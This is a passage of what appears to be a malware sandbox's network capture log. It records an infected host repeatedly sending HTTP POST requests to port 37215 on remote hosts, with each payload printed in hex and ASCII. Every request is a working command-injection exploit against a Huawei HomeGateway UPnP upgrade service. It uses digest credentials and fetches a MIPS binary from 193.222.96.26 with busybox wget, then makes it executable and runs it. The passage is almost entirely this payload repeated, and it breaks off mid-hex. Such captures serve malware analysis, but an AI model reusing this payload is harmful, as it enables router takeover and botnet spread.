79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:45.348680973 CET	1704	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.268295050 CET	1761	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143807888 CET	1849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:58.818600893 CET	2097	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.176583052 CET	2510	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:44.892275095 CET	3327	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	41868	156.241.82.22	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:49.142590046 CET	1813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143810987 CET	1850	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:53.699388027 CET	1934	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 